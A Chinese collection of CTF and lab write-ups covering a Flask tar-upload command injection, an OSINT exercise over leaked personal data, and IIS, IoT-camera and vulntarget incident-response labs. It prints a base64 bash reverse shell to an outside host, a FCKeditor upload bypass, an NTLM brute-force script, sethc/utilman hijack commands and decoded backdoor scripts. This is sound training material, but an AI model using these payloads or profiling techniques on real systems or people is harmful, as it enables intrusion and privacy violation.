那我们进一步的分析一下/etc/sudoers
为什么会分析/etc/sudoers呢？
权限配置：了解哪些用户或用户组被授予了 sudo 权限。如果配置不当，可能允许普通用户以 root 权限运行命令，从而导致安全问题。
命令限制：查看是否有特定用户被允许执行特定的命令，而不需要输入密码。如果这些命令存在漏洞，可能被黑客利用来提权。
安全策略：确认是否启用了安全策略，例如 requiretty 选项（要求 sudo 命令只能从终端运行），或 NOPASSWD 选项（允许某些命令无需密码运行）。
日志记录：检查 sudoers 文件中是否有日志记录配置，方便追踪 sudo 命令的使用情况。
简而言之： /etc/sudoers 包含了系统上 sudo 的配置和权限设置
cat /etc/sudoers
www-data ALL=(root) NOPASSWD: /bin/systemctl status apache2.service：www-data 用户可以以 root 身份执行 /bin/systemctl status apache2.service 命令，并且无需输入密码。
答案："/etc/sudoer"的MD5值
ciscn2023_hb_pysym
原文地址：[CISCN 2023 华北]pysym-CSDN博客
源码如下：
from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/',methods=['POST'])
def POST():
if 'file' not in request.files:
return 'No file uploaded.'
file = request.files['file']
if file.content_length > 10240:
return 'file too lager'
path = ''.join(random.choices(string.hexdigits, k=16))
directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
os.makedirs(directory, mode=0o755, exist_ok=True)
savepath=os.path.join(directory, file.filename)
file.save(savepath)
try:
os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory))
except:
return 'something wrong in extracting'
links = []
for root, dirs, files in os.walk(directory):
for name in files:
extractedfile =os.path.join(root, name)
if os.path.islink(extractedfile):
os.remove(extractedfile)
return 'no symlink'
if os.path.isdir(path) :
return 'no directory'
links.append(extractedfile)
return render_template('index.html',links=links)
@app.route("/uploads/<path:path>",methods=['GET'])
def download(path):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)
if not os.path.isfile(filepath):
return '404', 404
return send_from_directory(app.config['UPLOAD_FOLDER'], path)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=1337)
分析一下，首先检查上传文件是否为空以及文件大小，对文件名进行路径拼接，然后给出上传成功后随机的文件路径，try命令执行tar解压文件，这里存在RCE漏洞，我们可以利用|去命令执行
因为os.system是无回显的，我们尝试反弹shell
除此之外，发现当savepath包含一些特殊字符时会引发file.save(savepath)报错，用base64避免
1.tar | echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC81aTc4MTk2M3AyLnlpY3AuZnVuLzU4MjY1IDA+JjEn | base64 -d | bash |
随便上传一个文件，bp抓包修改文件名
反弹shell成功
简单
2025数字中国-数据安全-数据泄露与社会工程
在现代社会，个人信息在各种场景下被持续采集和存储，形成了庞大的数据集合。随着这些数据的不断积累和汇聚，数据安全的重要性愈发凸显。如果缺乏有效的安全措施，敏感信息可能面临泄露、篡改甚至恶意滥用的风险，从而导致个人隐私遭受严重侵害，甚至引发更广泛的安全问题。因此，必须加强数据保护机制，确保信息在存储、传输和使用过程中得到严格的安全管控，以防止个人敏感数据的全面失控，保障公民的隐私权和信息安全。
下列数据样本源自暗网泄露数据，由多家企业的数据泄露事件以及网络爬虫汇总而成，请基于这些泄露数据，查找 `张华强` 的居住地和工作地名称、所属公司、手机号码、身份证号码及车牌号码。
链接: https://pan.baidu.com/s/1wvgJFcX9CP6UabxAg-XReA?pwd=syed 提取码: syed
--来自百度网盘超级会员v7的分享
步骤一：张华强的居住地和工作地名称
工作地方一般为 **园区、 **大厦、**大楼
涉及的经纬度信息均不考虑转换
张某的生活习惯为：周一到周五从家打车去公司，周末无明显固定作息
被泄露方验证泄露的数据，确定了泄露日期的真实性，行程的时间具体时间被隐去 答案提交 [!tip]
将 张华强 的居住地和工作地的名称，用英文冒号（:）拼接后提交。如居住地为华侨小区A区，工作地为新东方创业园，则提交的答案为：华侨小区A区:新东方创业园
在所有社工数据中进行关键字搜索（使用cmder指令grep -r 张华强）：
（用VSCODE也做得到）
定位到关键文件查看其中内容：
根据页面信息可以发现张华强的手机号码为13891889377，公司为江苏博林科技有限公司 ，下面有公司地址即张华强工作地点为闵行区星辰信息技术园16楼
接下来搜索所有其他文件夹中的数据，查看内容大部分都是掩盖了一部分的数据：
那么我们可以搜索张** 138****9377，使用grep -fF "张** 138****9377"
看来数据不在.txt中，在.db文件中，因此写出脚本：
import os
import sqlite3
# 搜索条件（可以修改）
name_pattern = '张__'
phone_pattern = '138____9377'
# 遍历当前目录及子目录下的 .db 文件
for root, dirs, files in os.walk('.'):
for file in files:
if file.endswith('.db'):
db_path = os.path.join(root, file)
print(f'🔍 正在处理数据库: {db_path}')
try:
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
# 获取所有表名
cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
tables = [row[0] for row in cursor.fetchall()]
for table in tables:
# 获取列名
try:
cursor.execute(f"PRAGMA table_info({table});")
columns = [col[1] for col in cursor.fetchall()]
if 'name' in columns and 'phone' in columns:
# 查询匹配记录
cursor.execute(
f"SELECT * FROM {table} WHERE name LIKE ? AND phone LIKE ?;",
(name_pattern, phone_pattern)
)
results = cursor.fetchall()
if results:
print(f"✅ 匹配记录来自 {db_path} 表 {table}：")
for row in results:
print(row)
print('------------------------------------------')
except Exception as table_err:
print(f'⚠️ 查询表 {table} 出错: {table_err}')
conn.close()
except Exception as db_err:
print(f'❌ 无法读取数据库 {db_path}: {db_err}')
可以发现大部分坐标内容，主要集中在14.4472015,51.024（非现实地址），再继续搜索该坐标相关信息得到的只有闵行区星辰信息技术园，正是张华强上班的地点，滴滴泄露数据没有他下班回家的行程
因此只好在地图数据中搜这经纬度附近的数据，写出正则表达式：
"latitude":\s*14\.44\d*,\s*"longitude":\s*51\.02\d*
但是这题纯纯坑，经度longtitude下降了一度才是公司地址：
步骤二：张华强的公司名称
张某喜欢在公司收快递，地址一般为工作地+公司的简写，如某某软件园凤凰传媒
参考爬取的企业工商信息，查询公司的正式名称
答案提交
[!tip]
结合爬取的工商信息，提交张某所属公司的全称，如中国新东方有限公司
由上题可知其公司名称为江苏博林科技有限公司
步骤三：张华强的手机号
张某为企业的对外联络人
假设张华强仅有一个手机号，手机号为11位的明文数字
答案提交
[!tip]
若确认张华强的手机号为18812345678，则提交18812345678，无其他字符
由上上题可知其手机号为13891889377
步骤四：张华强的身份证号
办理手机号或相关业务需要留存身份证
答案提交
[!tip]
若确认张华强的手机号为31123119991010998X，则提交31123119991010998X，无其他字符
办理手机号或相关业务需要留存身份证，因此搜索手机号相关：
步骤五：张华强的车牌号
车牌号的格式为：省的简写+大写字母+空格+5位字符，如苏D PT666，苏D和PT666中间存在一个空格
答案提交
若确认车牌为苏D PT666，苏D和PT666中间存在一个空格，则提交苏D PT666
车牌信息全在某停车场泄露的数据的图片中，且图片中包含了手机号码信息
因此需要写一个OCR文字识别的脚本来识别所有图片中是否含有张华强的手机号码，使用脚本（需要下载Tesseract OCR并且配置环境变量，安装时要安装中文语言包）：
import os
from PIL import Image
import pytesseract
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading
# 自定义设置（按需修改）
image_folder = "./" # 图片目录
image_extensions = ('.png', '.jpg', '.jpeg', '.bmp', '.tiff')
output_file = "ocr_results.txt"
tesseract_lang = 'chi_sim+eng' # 可改为 'chi_sim' 或 'eng' 提速
# 可选：指定 Tesseract 路径（Windows）
# pytesseract.pytesseract.tesseract_cmd = r"C:\Program Files\Tesseract-OCR\tesseract.exe"
lock = threading.Lock()
results = []
# 图像预处理（可选加速）
def preprocess_image(image_path):
img = Image.open(image_path)
# 可选缩放图像降低分辨率：img = img.resize((img.width // 2, img.height // 2))
return img
# 识别单张图片
def process_image(image_path):
try:
img = preprocess_image(image_path)
text = pytesseract.image_to_string(img, lang=tesseract_lang).strip()
with lock:
results.append((image_path, text))
print(f"✅ 识别成功: {os.path.basename(image_path)}")
except Exception as e:
print(f"❌ 识别失败: {os.path.basename(image_path)}，错误: {e}")
# 收集所有图片文件路径
def get_image_files(folder):
image_paths = []
for root, _, files in os.walk(folder):
for filename in files:
if filename.lower().endswith(image_extensions):
image_paths.append(os.path.join(root, filename))
return image_paths
# 主程序：多线程处理
def main():
image_paths = get_image_files(image_folder)
print(f"📂 共找到 {len(image_paths)} 张图片，开始识别...")
# 使用线程池并行处理，max_workers 默认使用 CPU 数量，可自行设定如 4, 8, 16
with ThreadPoolExecutor(max_workers=os.cpu_count()) as executor:
futures = [executor.submit(process_image, path) for path in image_paths]
for _ in as_completed(futures):
pass # 等待全部完成
print("\n📄 所有图片文字识别结果如下：\n")
for path, content in results:
print(f"🖼️ 文件: {path}")
print("---- 识别内容 ----")
print(content)
print("------------------\n")
with open(output_file, "w", encoding="utf-8") as f:
for path, content in results:
f.write(f"文件: {path}\n")
f.write("---- 识别内容 ----\n")
f.write(content + "\n")
f.write("------------------\n\n")
print(f"✅ 已将结果保存至 {output_file}")
if __name__ == "__main__":
main()
日志分析-IIS日志分析
用户名:server2012
密码:URSZf3A
writeup来自菜鸟思路
提交时间：2025年02月21日
步骤一：phpstudy-2018站点日志.(.log文件)所在路径，提供绝对路径
找到IIS管理器->phpstudy2018站点 点击右侧日志浏览翻阅一下
打开IIS管理器（原文地址：Internet Information Services(IIS)管理器基本设置及创建网站_internet information services管理器-CSDN博客）
方法一：点 开始菜单，在程序列表里面找到 Windows管理工具，再在管理工具里面找到 Internet Information Services(IIS)管理器 打开即可。
方法二：打开控制面版，找到管理工具，再在管理工具里面找到 Internet Information Services(IIS)管理器 打开即可。
方法三：可以在桌面创建其快捷方式（在上面的方法二的管理工具中对图标点右键发送到桌面快捷方式）。
方法四：运行命令InetMgr。（最快捷的，但是需要记住这个命令）
步骤二：系统web日志中状态码为200请求的数量是多少
统计日志文件 u_ex250220.log 中第12列值为 200 的行数：
awk '$12 == 200 {count++} END {print count}' u_ex250220.log
(1) 条件 $12 == 200
$12：表示当前行的第12个字段（默认以空格或制表符分隔）。== 200：检查第12个字段的值是否为200（通常表示 HTTP 状态码 200，即请求成功）。
(2) 动作 {count++}
- 当条件满足（第12列值为
200）时，变量count自增 1。
(3) END {print count}
END：在所有行处理完成后执行的动作。print count：输出count的值（即符合条件的总行数）。
步骤三：系统web日志中出现了多少种请求方法
分析日志中 某字段的唯一值分布，即列出所有请求方法：
awk '{print $4}' u_ex250220.log |sort|uniq
awk '{print $4}'
提取日志文件u_ex250220.log的 第4个字段（。- 第4列应该是请求方法。
sort
对提取的第4列数据进行排序，使相同内容连续排列。uniq
去重，仅保留唯一的第4列值。结合sort后，uniq可高效统计唯一项。
结果中只有(DELETE,GET,HEAD,OPTIONS,POST,PUT,TRACE七种是请求头)
步骤四：存在文件上传漏洞的路径是什么
查找 上传操作后触发重定向（302）的请求：
grep 'upload' u_ex250220.log |awk '{print}' |grep 302
grep 'upload'
筛选日志中包含关键词upload的行（如上传文件相关的请求）。awk '{print}'
打印整行内容（此步骤可省略，因为grep默认输出整行）。grep 302
进一步筛选包含302的行（HTTP 状态码 302 表示临时重定向）。
步骤五：攻击者上传并且利⽤成功的webshell的⽂件名是什么
D盾扫一下，一个是shell.php 一个是window.php
或者用命令:
grep -rn --include=*.php 'eval('
grep -rn-r：递归搜索目录及其子目录。-n：显示匹配行的行号。--include=*.php：仅检查.php文件。
eval(
搜索包含eval(字符串的内容。
检测 PHP 代码中是否存在 eval() 函数的使用。
第八届西湖论剑IOT-sharkp
小李的摄像头被黑客入侵了，但只捕获到了单向的流量包，请分析摄像头固件与对应的流量，回答以下问题：
题目官方WP：
上：https://mp.weixin.qq.com/s/qefJ0YkKgXBUH0gyKGhImA
下：https://mp.weixin.qq.com/s/gXYLwdup6HYd_rETUSb9aA
如有侵权请联系群管理员删除
步骤一：攻击者利用摄像头哪个接口实现的RCE？
分析固件包
对alphapd程序进行逆向分析，定位到漏洞函数sub_42754C。
它在获取AdminID的值后拼接到sed命令里面执行。这里就存在命令注入漏洞。对这个函数进行交叉引用。发现其触发的路径路由为setSystemAdmin。
步骤二：攻击者回连的C2服务器ip地址是什么？
找到对应的流量包
发现它通过在AdminID字段注入telnetd命令开启了摄像头的telnet服务。
分析telnet流量，发现攻击者执行了以下命令：
攻击者从2.65.87.200:8000下载了b程序到本地执行。
过滤8000端口
发现返回包是一个ELF程序
将这个ELF提取出来，拖入IDA分析。
找系统调用，分析汇编代码，转换十六进制，得到ip地址为115.195.88.161
（0x73 = 115 0xC3 = 195 0x58 = 88 0xA1 = 161）
应急响应-vulntarget-j-02
不提供，需渗透进入。
题目镜像来源公众号：vulntarget
原文地址：玄机靶场——应急响应-vulntarget-j-02-CSDN博客
步骤一：服务器xuanji用户密码是什么
首先端口扫描服务器
这里原博主用了goby
发现有3389，5986，8000，18000为可以利用的端口
第二步使用kali里面的dirsearch进行目录扫描
在对18000端口进行目录扫描的时候，扫到了两个txt文本
进行查看，可以知道为 FCKeditor（一个HTML文本编辑器 ）
FCKeditor（后更名为 CKEditor）是一款开源的 HTML 文本编辑器，主要用于在网页中实现富文本编辑功能（如格式化文本、插入图片、上传文件等）。
（扫描结果中出现的 license.txt 或 LICENSE.txt 可能是 FCKeditor 的版权声明文件，进一步佐证其存在。）
查找这个编辑器的漏洞利用，使用这两个地址，进行尝试查看版本号
（FCKeditor2.6.4.1编辑器漏洞利用 - FreeBuf网络安全行业门户、【渗透测试】--- FCKeditor文本编辑器漏洞_ckeditor漏洞-CSDN博客）
- /fckeditor/editor/dialog/fck_about.html
- /ckeditor/CHANGES.html
查看到版本号为2.6.4.1
然后测试FCKeditor上传点
test文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
发现只有后面两条存在上传点
brower文件上传地址
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp
/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/asp/connector.asp
但是发现这两个没有进行配置，所以使用上面的test页面进行文件上传，进行尝试
这里上传的时候，需要使用到二次上传
fckeditor <= 2.6.8 for asp
运用%00截断，首先上传文件名为shell.asp%00txt，结果为shell.asp_txt，再次上传同名文件，结果为shell(1).asp，成功绕过。
进行%00进行截断
上传这里，发现它把"."和其他字符转义成了"_"
再点一次上传，发现上传成功了一个asp文件，使用这个地址进行连接
可以进行正常连接
在C盘下，发现了一个图片1.png和密码本.xls
这里得到了xuanji这个账户的NTLM哈希值和大概的密码 H????vX97HMhM7T0rtv0
这里需要NTLM哈希值进行爆破
爆破脚本,找到密码: H6Du4vX97HMhM7T0rtv0
import itertools
import hashlib
def generate_ntlm_hash(password):
""" 计算字符串的NTLM哈希值 """
return hashlib.new('md4', password.encode('utf-16le')).hexdigest().upper()
def brute_force():
target_hash = "F7F2310C1233353705CA169324BCBE37"
prefix = "H"
suffix = "vX97HMhM7T0rtv0"
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" # 可自定义字符集
# 生成所有可能的4字符组合
for chars in itertools.product(charset, repeat=4):
candidate = prefix + ''.join(chars) + suffix
current_hash = generate_ntlm_hash(candidate)
if current_hash == target_hash:
print(f"[+] 找到密码: {candidate}")
return
print("[- 未找到匹配的密码")
if __name__ == "__main__":
brute_force()
因为之前进行端口扫描的时候有个3389端口打开着，所以可以
使用rdp进行登录
win+R输入mstsc
步骤二：hacker添加的恶意用户是什么
使用net user查看、
提交了一遍，发现没有正确的答案
去查看一下powershell的历史命令
地址:C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
发现hacker删除了他自己建立的恶意用户
步骤三：hacker添加的计划任务后门，恶意程序名称是什么
打开计划任务管理
win+R输入taskschd.msc
这里发现一个MyBackdoor的计划任务，查看操作，发现这个cmd.exe的文件路径很奇怪
正常的cmd.exe文件应该是C:\Windows\System32\cmd.exe，所以判断恶意程序的名称为cmd.exe
步骤四：hacker添加的恶意服务名称是什么
sc query state= all
-
查询系统中所有的 Windows 服务（包括运行中和未运行的）
-
显示服务名称、状态、类型等信息
列出所有服务，将其导入到一个txt文本里面进行分析
发现存在Redis服务
Redis：如果系统不需要Redis服务，突然出现可能可疑。
使用sc qc Redis 进行查看，发现它的启动程序又为一个不知名的cmd2.exe程序进行启动的
(sc qc 是 Windows Service Control（服务控制）*命令，用于*查询服务的详细配置信息。)
所以判断Redis为恶意服务名称
正常cmd.exe的地址为C:\WINDOWS\system32
步骤五：hacker还添加了一种劫持后门，修改的windows本地可执行文件名称是什么
劫持后门可能涉及到系统文件替换：比如，utilman.exe被替换为cmd.exe，这样在登录界面可以通过轻松访问功能调出cmd，从而进行系统操作。
或者，可能修改了环境变量中的路径：将常见的程序如notepad.exe指向恶意文件，需要检查系统目录中是否有异常的可执行文件，或者查看最近被修改的系统文件的时间戳。
答案可能类似于utilman.exe或者sethc.exe，这些常被用于辅助功能劫持
-
utilman.exe是 “辅助功能管理器”（Ease of Access Manager），用于管理 Windows 无障碍功能（如屏幕键盘、放大镜、旁白等）。 -
由于 utilman.exe 在锁屏界面可直接运行，黑客可替换
utilman.exe为cmd.exe，然后在锁屏界面按Win + U，即可获取 SYSTEM 权限的终端：copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe之后重启，锁屏界面按
Win + U，会直接打开 SYSTEM 权限的 cmd.exe，可以添加用户、启用管理员账户等。 -
sethc.exe是 “粘滞键”（Sticky Keys） 功能的管理程序。 -
类似
utilman.exe，攻击者可以用cmd.exe替换sethc.exe：
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
之后在锁屏界面连按 5 次 Shift，就能弹出 SYSTEM 权限的 cmd.exe，进而创建管理员账户、修改密码等。
步骤六：hacker上传的木马文件路径是什么
请通过iis服务器日志获取haker上传的木马文件访问路径
iis的默认路径为C:\inetpub\logs\LogFiles<站点名称>\
但是访问iss服务器日志需要管理员权限，所以需要使用exp进行提权
使用ver进行查看系统版本为 Windows Server 2019
使用CVE-2020-0787进行提权
Release CVE-2020-0787-EXP-ALL-WINDOWS-VERSION · cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION · GitHub
运行完会弹出一个窗口，使用net user xxx xxx 进行修改管理员账户的密码进行登录
这里登入到管理员权限的账户上
进行对网址目录下的文件机进行扫描，发现一个5(1).asp的木马，不是我传的
对iis日志文件进行查找5(1).asp这串字符
最后在这个日志中找到，得到上传的木马文件访问路径为/uploiad/image/5(1).asp
查找字符串：
在 cmd 窗口运行以下命令：
findstr /S /I /C:"5(1).asp" C:\inetpub\logs\LogFiles\*.log
/S：搜索所有子目录中的日志文件/I：忽略大小写/C:"文本"：搜索精确匹配的字符串（必须加""）C:\inetpub\logs\LogFiles\*.log：IIS 默认日志路径，按需修改
使用 PowerShell（更高级）
Get-ChildItem -Path "C:\inetpub\logs\LogFiles\" -Filter "*.log" -Recurse | Select-String -Pattern "5\(1\)\.asp"
Get-ChildItem：获取日志目录中的所有.log文件-Filter "*.log"：只匹配.log文件-Recurse：递归搜索子文件夹Select-String -Pattern "5\(1\)\.asp"：查找包含5(1).asp的行（()需要 转义\(和\)）
应急响应-vulntarget-b-01
请你登录服务器结来分析黑客的入侵行为
用户名：root
密码：xj@vulntarget
SSH连接：ssh root@ip -p 222
题目镜像来源公众号 vulntarget
原文地址：玄机靶场——应急响应-vulntarget-b-01_应急响应-vulntarget-j-01-CSDN博客
步骤一：黑客是从哪个端口作为入口点的
可以使用ss -lnup进行查看被监听的端口
ss（socket statistics）是 Linux 系统中用于显示网络连接信息的命令，它是 netstat 的更高效替代方案。
-l（listening）：
仅显示正在监听的端口（即服务器模式下运行的服务）。
-n（numeric）：
以数字方式显示端口号和 IP 地址，而不尝试解析为主机名或服务名（提高执行速度）。
-u（UDP）：
仅显示 UDP 端口的监听状态。
-p（process）：
显示使用这些端口的进程信息（包括进程 ID 和名称）。
Netid（网络协议类型）
State（套接字状态）
Recv-Q（接收队列）
Send-Q（发送队列）
Local Address:Port（本地地址和端口）
Peer Address:Port（对端地址和端口）
使用ls在根目录发现install.sh
使用cat install.sh进行查看这个脚本，这里是使用宝塔作为控制面板的，在宝塔的脚本里面，可以看到宝塔打开的所以端口命令，与上图进行比较，可以发现81端口不是宝塔默认打开的端口，所以认为黑客是将81端口作为他的监控端口和入口点的
答案：81
步骤二：黑客使用了什么工具探测了ssh服务
使用cd /www/wwwlogs到网站日志文件路径下：
| 文件名 | 类型 | 记录范围 | 典型问题定位 |
|---|---|---|---|
127.0.0.1.error.log |
错误日志 | 特定域名（127.0.0.1） |
该域名的 HTTP 错误（如 404/500） |
127.0.0.1.log |
访问日志 | 特定域名（127.0.0.1） |
该域名的请求流量分析 |
access.log |
访问日志 | 所有域名 | 全局访问统计、安全审计 |
nginx_error.log |
错误日志 | 服务器全局 | 服务崩溃、配置错误、端口冲突 |
cat access.log查看网页的日志文件，可以发现Nmap的User-Agent，所以黑客使用的是Namp作为探测工具
答案：Nmap
步骤三：黑客使用了什么工具扫描了目录
为了分析特定域名的请求流量，接着对同目录下的127.0.0.1.log文件进行查看，发现了gobuster/3.6，这是一款子域名挖掘工具
答案：gobuster
步骤四：黑客成功登录后台的IP地址?
如上图，一般扫描工具的主机一般是登录的IP地址，所以登录后台的ip地址为192.168.83.1
答案：192.168.83.1
步骤五：黑客上传的木马连接密钥是什么?
使用命令将含有gobu的日志全部过滤掉，然后再进行查看,发现有GET传参和POST传参
发现有GET传参和POST传参，先对POST传参进行查看
这里有可疑信息
可以看出的流程为：
1.黑客使用账号和密码登录在f.php中登录进了文件管理（fileManage），状态码302重定向成功
2.参数 p=Reddit-index.php，黑客可能通过 f.php 操作指定文件，状态码200表示成功
3.黑客访问了网站根目录页面即index.php，对index.php文件发送了POST请求有点可疑
使用命令cd /www/wwwroot/jizhi
cat index.php进行查看index.php，发现了有一句话木马存在
所以密钥为Admin@@
答案：Admin@@
步骤六：黑客留下的后门文件的路径为?
切换到/tmp公共临时目录下
发现有一个index.elf文件
将这个文件放到云沙盒进行查看
可以知道它是一个后门文件
黑客留下的后门文件的路径为/tmp/index.elf
应急响应-vulntarget-j-01
题目来源公众号 vulntarget
https://mp.weixin.qq.com/s/LHq8O2F-r6rbhVW84Q4KEg
任务环境说明
windows账密：workstation admin@20221123
web端口外部无法访问，请RDP连接上机排查
参考
https://mp.weixin.qq.com/s/Rsb0Q_X3MfZuA_SbQne59g
原文地址：应急响应-vulntarget-j-01 - 飞书云文档
步骤一：主站进入后台的文件名称(格式flag
答案：flag{FNeSOgYGkp.php}
步骤二：黑客是从哪个端口上传木马文件的?
flag{80}
步骤三：黑客添加的木马文件名称和密码分别是什么，将黑客添加 的木马名称和密码作为flag提交{flag
用D盾扫
答案：flag{api3.php:Admin}
步骤四：黑客攻击机IP地址是多少(因模拟环境故为内网地址)
知道了后门名字是api3.php
直接去日志搜索即可
Linux后门应急
SSH连接：ssh user@ip -p 222
账号密码：user/Atmbctfer!
原文地址：Linux后门应急 - 飞书云文档
步骤一：主机后门用户名称:提交格式如:flag
使用账号密码ssh连接上主机，连接进来先切换一个交互式tty
tty代表 Linux/Unix 系统中的终端接口。
python -c 'import pty; pty.spawn("/bin/bash")'
该命令用于 将非交互式 Shell 升级为全交互式 TTY Shell，具体作用如下：
python -c '...'-c选项让 Python 运行import pty; pty.spawn("/bin/bash")这段代码，而不用打开 Python 交互模式。
import pty- 导入 Python 的
pty模块（Pseudo Terminal 伪终端），用于创建一个 交互式 TTY 终端。
- 导入 Python 的
pty.spawn("/bin/bash")- 运行
/bin/bash并 附加到一个新的 TTY 伪终端，让 shell 变得更像本地交互环境。
- 运行
在某些情况下，攻击者通过 反向 Shell 或 受限 Shell（如 sh）连接到目标系统时，默认的 Shell 可能是 非交互式的，导致：
- 无法使用
Ctrl+C、Ctrl+Z这样的快捷键。 - 命令补全（Tab）、光标移动（方向键）等功能可能无法使用。
- 某些 Shell 命令（如
su、nano、htop）可能无法正常工作。
通过 pty.spawn("/bin/bash")，可以升级为 全交互式 TTY，从而：
- 支持完整的 Bash 交互体验（命令补全、历史记录、方向键）。
- 可以运行
su切换用户（受限 Shell 可能无法运行su）。 - 绕过某些受限环境，提升 Shell 可操作性。
我们可以查看/etc/passwd 文件，其中包含了所有用户的信息，包括用户名和用户ID等：
cat /etc/passwd
答案：flag{backdoor}
步骤二：主机排查项中可以发现到flag{}内以i开头的flag，如flag
ps -ef
-e（所有进程，equal to ps -A）
- 显示 系统中所有进程（不局限于当前用户）。
- 包括后台进程（daemon），如
systemd、sshd、cron等。
-f（full format，完整格式）
- 显示更详细的信息，包括 UID（用户）、PID（进程 ID）、PPID（父进程 ID）、启动时间、执行的命令等。
可以发现由root用户开启的进程，执行的命令为nc -lvp 9999 -c flag{infoFl4g}
开启了9999端口的监听
答案：flag{infoFl4g}
步骤三：主机排査发现9999端口是通过哪个配置文件如何开机启动的，如/etc/crontab则填写/etc/crontab 的md5提交方式示例:flag
查看常见的启动配置文件
cat /etc/crontab 全局 Cron 定时任务
crontab -l 查看当前用户的 Cron 任务
cat /etc/profile 查看全局环境变量和启动脚本
-
/etc/crontab：系统级别的 定时任务（Cron）配置文件，用于 自动执行脚本或任务。 -
/etc/profile是 系统级别 的 Shell 配置文件，影响 所有用户。登录 Shell（如
ssh远程连接）时，它会被自动加载。
发现都没有什么东西
可能是自启动服务
切换到目录/etc/systemd/system 查看自启动服务的相关配置文件
这里优先看最近修改的
ls -lt 按 修改时间 排序（最新修改的文件在最上方）。
在rc-local.service中看到启动了一个脚本 /etc/rc.d/rc.local
rc-local.service 是一个 systemd 服务，它的作用是在系统启动时执行 /etc/rc.d/rc.local 脚本。
/etc/rc.d/rc.local 是一个 Shell 脚本，它的作用是存放用户自定义的开机启动任务。如果 rc-local.service 处于启用状态，系统在启动时就会执行 /etc/rc.d/rc.local。
查看/etc/rc.d/rc.local内容：
#!/bin/bash (press RETURN)
echo d2hpbGUgdHJ1ZTtkbyBub2h1cCBuYyAtbHZwIDk5OTkgLWMgImZsYWd7aW5mb0ZsNGd9IiAyPiYxIDtzbGVlcCAxO2RvbmU7 | base64 -d | nohup bash &
exit 0
解码后为：
#!/bin/bash (press RETURN)
while true; do
nohup nc -lvp 9999 -c "flag{infoFl4g}" 2>&1
sleep 1
done
nohup bash & 将解码后的脚本通过 bash 执行，并放入后台运行
exit 0 立即退出脚本并返回状态码 0（表示成功）
可以发现启动后主机会无限循环开启9999端口的监听
nohup 使进程在终端关闭后仍持续运行
& 将进程放入后台，用户不易察觉
答案：flag{（/etc/rc.d/rc.local的md5值）}
步骤四：黑客3s做了记录所有用户的每次登陆的密码的手段，flag为黑客记录的登陆密码日志路径md5,提交方式示例：flag
在/tmp目录下可以发现一个.sshlog
打开发现就是账户密码
/tmp/.sshlog
flag{8997d5a1b8dcca5a4be75962250959f7}
步骤五：给出使用了/bin/bash 的RCE后门进程名称+端口号 如进程名称为sshd，端口号为22，则flag{sshd22)
接3题
在docker-compose-app.service也找到了一个启动脚本/usr/lib/python3.7/site-packages/docker/startup.sh
#!/bin/bash
/usr/local/bin/docker-compose -f /home/user/nginx/docker-compose.yml up -d
echo 'import base64;v=base64.b64decode("aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcwoKIyBDcmVhdGUgc29ja2V0IG9iamVjdApzID0gc29ja2V0LnNvY2tldCgpCnMuYmluZCgoJycsIDgwODApKQpzLmxpc3RlbigxKQoKIyBDb250aW51b3VzbHkgYWNjZXB0IGNvbm5lY3Rpb25zCndoaWxlIFRydWU6CiAgICBjb25uLCBhZGRyID0gcy5hY2NlcHQoKQogICAgdHJ5OgogICAgICAgICMgTGF1bmNoIGJhc2ggc2hlbGwgY29ubmVjdGVkIHRvIHRoaXMgc29ja2V0CiAgICAgICAgc3VicHJvY2Vzcy5jYWxsKFsnL2Jpbi9iYXNoJ10sIHN0ZGluPWNvbm4sIHN0ZG91dD1jb25uLCBzdGRlcnI9Y29ubikKICAgIGZpbmFsbHk6CiAgICAgICAgIyBFbnN1cmUgdGhlIGNvbm5lY3Rpb24gaXMgY2xvc2VkIGFmdGVyIHVzZQogICAgICAgIGNvbm4uY2xvc2UoKQo=");exec(v)'|nohup python3 &
8080对应的就是这个shell的接收端口
答案：flag{python38080}
步骤六：找出开机启动的后门服务名称MD5，提交flag(md5(服务名)}
上一题得出docker-compose-app.service就是这个后门的启动服务
而且这个服务正好还是自启动服务
systemctl list-unit-files --type=service --state=enabled
这个命令用于 列出所有已启用（enabled）的 systemd 服务单元文件（service unit files）。
systemctl：用于控制 systemd 服务的主要命令。
list-unit-files：列出 systemd 单元文件（unit files），即所有已安装的服务配置文件。
--type=service：只显示 服务（service） 类型的单元文件，过滤掉其他类型（如 socket、timer 等）。
--state=enabled：仅显示 已启用（enabled） 的服务，即那些 在系统启动时会自动运行 的服务。
UNIT FILE STATE
apache2.service enabled
apparmor.service enabled
autovt@.service enabled
cloud-config.service enabled
cloud-final.service enabled
cloud-init-local.service enabled
cloud-init.service enabled
console-setup.service enabled
cron.service enabled
dbus-org.freedesktop.timesync1.service enabled
docker-compose-app.service enabled
docker.service enabled
getty@.service enabled
keyboard-setup.service enabled
networking.service enabled
rc-local.service enabled
rc.local.service enabled
rsyslog.service enabled
ssh.service enabled
sshd.service enabled
syslog.service enabled
systemd-timesyncd.service enabled
答案：flag{（docker-compose-app.service的MD5值）}
步骤七：渗透提权获得root目录下的flag
基本的命令检测一下是否存在可以利用SUID提权的文件
find / -perm -4000 2>/dev/null
sudo -l
/sbin/getcap -r / 2>/dev/null
